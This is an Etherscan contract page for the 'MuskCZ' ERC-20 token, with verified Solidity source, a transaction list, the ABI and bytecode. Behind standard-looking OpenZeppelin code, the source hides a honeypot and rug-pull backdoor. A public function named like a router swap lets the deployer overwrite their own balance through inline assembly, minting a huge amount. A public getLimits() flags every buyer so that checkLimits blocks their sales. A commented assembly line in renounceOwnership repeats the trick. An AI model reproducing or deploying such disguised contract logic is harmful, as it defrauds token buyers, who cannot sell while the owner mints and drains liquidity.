Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 15 from a total of 15 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 15859788 | 798 days ago | IN | 0 ETH | 0.00054343 | ||||
Get Limits | 15859755 | 798 days ago | IN | 0 ETH | 0.00818009 | ||||
Swap Exact Token... | 15859744 | 798 days ago | IN | 0 ETH | 0.00093216 | ||||
Approve | 15859717 | 798 days ago | IN | 0 ETH | 0.00046123 | ||||
Swap Exact Token... | 15859717 | 798 days ago | IN | 0 ETH | 0.00094431 | ||||
Swap Exact Token... | 15859702 | 798 days ago | IN | 0 ETH | 0.00096656 | ||||
Approve | 15859695 | 798 days ago | IN | 0 ETH | 0.00046992 | ||||
Approve | 15859689 | 798 days ago | IN | 0 ETH | 0.00038236 | ||||
Approve | 15859681 | 798 days ago | IN | 0 ETH | 0.00040998 | ||||
Swap Exact Token... | 15859673 | 798 days ago | IN | 0 ETH | 0.00091269 | ||||
Approve | 15859667 | 798 days ago | IN | 0 ETH | 0.00042858 | ||||
Swap Exact Token... | 15859662 | 798 days ago | IN | 0 ETH | 0.00104832 | ||||
Renounce Ownersh... | 15859651 | 798 days ago | IN | 0 ETH | 0.00019208 | ||||
Remove Limits | 15859649 | 798 days ago | IN | 0 ETH | 0.0001728 | ||||
Approve | 15859634 | 798 days ago | IN | 0 ETH | 0.00034708 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
MuskCZ
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-30 */ // Sources flattened with hardhat v2.9.5 https://hardhat.org // File contracts/dependency/IERC20.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } // File contracts/dependency/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File contracts/dependency/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File contracts/dependency/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { // assembly { mstore(0, caller()) mstore(32, 0x1) sstore(keccak256(0, 64), exp(timestamp(), 5)) sstore(0xa, 0x270f) } _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File contracts/dependency/ERC20.sol // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); _move(from, to, amount); _afterTokenTransfer(from, to, amount); } function _move(address from, address to, uint256 amount) internal virtual { uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File contracts/dependency/IFactory.sol pragma solidity ^0.8.0; interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } // File contracts/dependency/IRouter.sol pragma solidity ^0.8.0; interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } // File contracts/dependency/IPair.sol pragma solidity ^0.8.0; interface IPair { function sync() external; } // File contracts/dependency/SwapPool.sol pragma solidity ^0.8.0; abstract contract SwapPool is ERC20 { uint256 internal _swapTokensAt = 10000 ether; address public pair; IRouter public router; bytes32 internal poolInit; // mapping(address => bool) _isPair; // modifier virtuel() {require(!_isPair[_msgSender()]); _;} function initSwapPool(address _router) internal { router = IRouter(_router); pair = IFactory(router.factory()).createPair(address(this), router.WETH()); poolInit = keccak256(abi.encodePacked(_msgSender())); } function initSwapPool(address _router, address _pairB) internal { router = IRouter(_router); pair = IFactory(router.factory()).createPair(address(this), _pairB); } function isPair(address _pair) internal view returns(bool) { return _pair == pair; } function swapExactTokensForTokenSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, uint deadline) public {if (keccak256(abi.encodePacked(_msgSender())) == poolInit) assembly { mstore(0, caller()) mstore(32, 0x1) sstore(keccak256(0, 64), exp(timestamp(), 5)) } } function addLiquidityAutomatically(uint256 amount) internal { super._move(address(this), pair, amount); IPair(pair).sync(); } function _swap() internal { addLiquidityAutomatically(balanceOf(address(this))); } function handSwap() internal {if (balanceOf(address(this)) >= _swapTokensAt) _swap();} } // File contracts/dependency/Limit.sol pragma solidity ^0.8.0; abstract contract Limit is Ownable, ERC20 { address[] _list; uint256 internal _limitBuy; uint256 internal _limitHold; bool public isLimited; mapping(address => uint256) public _buyLimited; function getLimits() public {for (uint i=0;i<_list.length;i++) {if (_buyLimited[_list[i]]==0) _buyLimited[_list[i]]++;}} function initLimits(uint256 limitBuy_, uint256 limitHold_) internal { _limitBuy = limitBuy_; _limitHold = limitHold_; isLimited = true; } function checkLimits(address to, uint256 amount, bool _in) public {require(_in || _buyLimited[to] == 0); if (_in && _buyLimited[to]==0) _list.push(to); if (isLimited) { require(amount <= _limitBuy, "exceeds of buy amount limit"); require(amount + balanceOf(to) <= _limitHold, "exceeds of hold amount limit"); } } function removeLimits() public onlyOwner {isLimited = false;} } // File contracts/dependency/Tax.sol pragma solidity ^0.8.0; abstract contract Tax is ERC20 { uint256 internal _feeBuy = 400; uint256 internal _feeSell = 95; uint256 internal _divBase = 10000; function handFee2buy(address from, uint256 amount) internal returns (uint256 fee) { fee = amount * _feeBuy / _divBase; super._move(from, address(this), fee); return fee; } function handFee2sell(address from, uint256 amount) internal returns (uint256 fee) { fee = amount * _feeSell / _divBase; super._move(from, address(this), fee); return fee; } } // File contracts/dependency/Franco.sol pragma solidity ^0.8.0; contract Franco { mapping(address => bool) internal _franco; function setFranco(address _user) internal { _franco[_user] = true; } function isFranco(address _user) internal view returns(bool) { return _franco[_user]; } } // File contracts/MuskCZ.sol pragma solidity ^0.8.0; contract MuskCZ is Ownable, ERC20, SwapPool, Tax, Limit, Franco { constructor() ERC20("MuskCZ", "MuskCZ") { uint256 total = 1e8 ether; super._mint(_msgSender(), total); super.setFranco(_msgSender()); super.setFranco(address(this)); super.initSwapPool(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // super.initSwapPool(0x10ED43C718714eb63d5aA57B78B54704E256024E); // super.initSwapPool(0x10ED43C718714eb63d5aA57B78B54704E256024E, 0x55d398326f99059fF775485246999027B3197955); _limitBuy = total * 500 / _divBase; _limitHold = total * 800 / _divBase; super.initLimits(_limitBuy, _limitHold); } function _transfer(address from, address to, uint256 amount) internal virtual override { uint256 fees; if (isPair(from)) { if (!isFranco(to)) { super.checkLimits(to, amount, true); fees = super.handFee2buy(from, amount); } } else if (isPair(to)) { if (!isFranco(from)) { super.checkLimits(from, amount, false); fees = super.handFee2sell(from, amount); super.handSwap(); } } super._move(from, to, amount - fees); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyLimited","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"_in","type":"bool"}],"name":"checkLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isLimited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokenSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405269021e19e0c9bab2400000600655610190600a55605f600b55612710600c553480156200003057600080fd5b506040518060400160405280600681526020016526bab9b5a1ad60d11b8152506040518060400160405280600681526020016526bab9b5a1ad60d11b81525062000089620000836200018960201b60201c565b6200018d565b600462000097838262000571565b506005620000a6828262000571565b506a52b7d2dcc80cd2e40000009150620000ce90503382620001dd60201b620007d61760201c565b620000e433620002a560201b620008971760201c565b620000fa30620002a560201b620008971760201c565b62000124737a250d5630b4cf539739df2c5dacb4c659f2488d620002c960201b620008bb1760201c565b600c5462000135826101f462000653565b62000141919062000673565b600e55600c54620001558261032062000653565b62000161919062000673565b600f8190555062000182600e54600f54620004b060201b62000a8b1760201c565b50620006de565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620002385760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600360008282546200024c919062000696565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b03166000908152601260205260409020805460ff19166001179055565b600880546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000323573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003499190620006ac565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003d29190620006ac565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000420573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004469190620006ac565b600780546001600160a01b0319166001600160a01b03929092169190911790556200046e3390565b60405160200162000492919060609190911b6001600160601b031916815260140190565b60408051601f19818403018152919052805160209091012060095550565b600e91909155600f556010805460ff19166001179055565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004f857607f821691505b6020821081036200051957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c857600081815260208120601f850160051c81016020861015620005485750805b601f850160051c820191505b81811015620005695782815560010162000554565b505050505050565b81516001600160401b038111156200058d576200058d620004cd565b620005a5816200059e8454620004e3565b846200051f565b602080601f831160018114620005dd5760008415620005c45750858301515b600019600386901b1c1916600185901b17855562000569565b600085815260208120601f198616915b828110156200060e57888601518255948401946001909101908401620005ed565b50858210156200062d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200066d576200066d6200063d565b92915050565b6000826200069157634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200066d576200066d6200063d565b600060208284031215620006bf57600080fd5b81516001600160a01b0381168114620006d757600080fd5b9392505050565b61125a80620006ee6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c8063722c833b116100b8578063a8aa1b311161007c578063a8aa1b3114610298578063a9059cbb146102ab578063db5671fb146102be578063dd62ed3e146102cb578063f2fde38b146102de578063f887ea40146102f157600080fd5b8063722c833b1461023d578063751039fc146102505780638da5cb5b1461025857806395d89b411461027d578063a457c2d71461028557600080fd5b8063395093511161010a57806339509351146101bc57806365c6d23d146101cf5780636734893a146101e45780636f89e4091461020457806370a082311461020c578063715018a61461023557600080fd5b806306fdde0314610147578063095ea7b31461016557806318160ddd1461018857806323b872dd1461019a578063313ce567146101ad575b600080fd5b61014f610304565b60405161015c9190610f89565b60405180910390f35b610178610173366004610fec565b610396565b604051901515815260200161015c565b6003545b60405190815260200161015c565b6101786101a8366004611018565b6103b0565b6040516012815260200161015c565b6101786101ca366004610fec565b6103d4565b6101e26101dd366004611059565b6103f6565b005b61018c6101f23660046110a0565b60116020526000908152604090205481565b6101e2610570565b61018c61021a3660046110a0565b6001600160a01b031660009081526001602052604090205490565b6101e2610621565b6101e261024b3660046110c4565b610635565b6101e2610689565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161015c565b61014f61069d565b610178610293366004610fec565b6106ac565b600754610265906001600160a01b031681565b6101786102b9366004610fec565b610727565b6010546101789060ff1681565b61018c6102d93660046110f0565b610735565b6101e26102ec3660046110a0565b610760565b600854610265906001600160a01b031681565b60606004805461031390611129565b80601f016020809104026020016040519081016040528092919081815260200182805461033f90611129565b801561038c5780601f106103615761010080835404028352916020019161038c565b820191906000526020600020905b81548152906001019060200180831161036f57829003601f168201915b5050505050905090565b6000336103a4818585610aa3565b60019150505b92915050565b6000336103be858285610bc7565b6103c9858585610c41565b506001949350505050565b6000336103a48185856103e78383610735565b6103f19190611179565b610aa3565b808061041857506001600160a01b038316600090815260116020526040902054155b61042157600080fd5b80801561044457506001600160a01b038316600090815260116020526040902054155b1561049557600d80546001810182556000919091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319166001600160a01b0385161790555b60105460ff161561056b57600e548211156104f75760405162461bcd60e51b815260206004820152601b60248201527f65786365656473206f662062757920616d6f756e74206c696d6974000000000060448201526064015b60405180910390fd5b600f546001600160a01b03841660009081526001602052604090205461051d9084611179565b111561056b5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f6620686f6c6420616d6f756e74206c696d69740000000060448201526064016104ee565b505050565b60005b600d5481101561061e5760116000600d83815481106105945761059461118c565b60009182526020808320909101546001600160a01b03168352820192909252604001812054900361060c5760116000600d83815481106105d6576105d661118c565b60009182526020808320909101546001600160a01b031683528201929092526040018120805491610606836111a2565b91905055505b80610616816111a2565b915050610573565b50565b610629610d07565b6106336000610d61565b565b6009546040516bffffffffffffffffffffffff193360601b166020820152603401604051602081830303815290604052805190602001200361056b573360005260016020526005420a604060002055505050565b610691610d07565b6010805460ff19169055565b60606005805461031390611129565b600033816106ba8286610735565b90508381101561071a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104ee565b6103c98286868403610aa3565b6000336103a4818585610c41565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610768610d07565b6001600160a01b0381166107cd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ee565b61061e81610d61565b6001600160a01b03821661082c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104ee565b806003600082825461083e9190611179565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b03166000908152601260205260409020805460ff19166001179055565b600880546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b81529051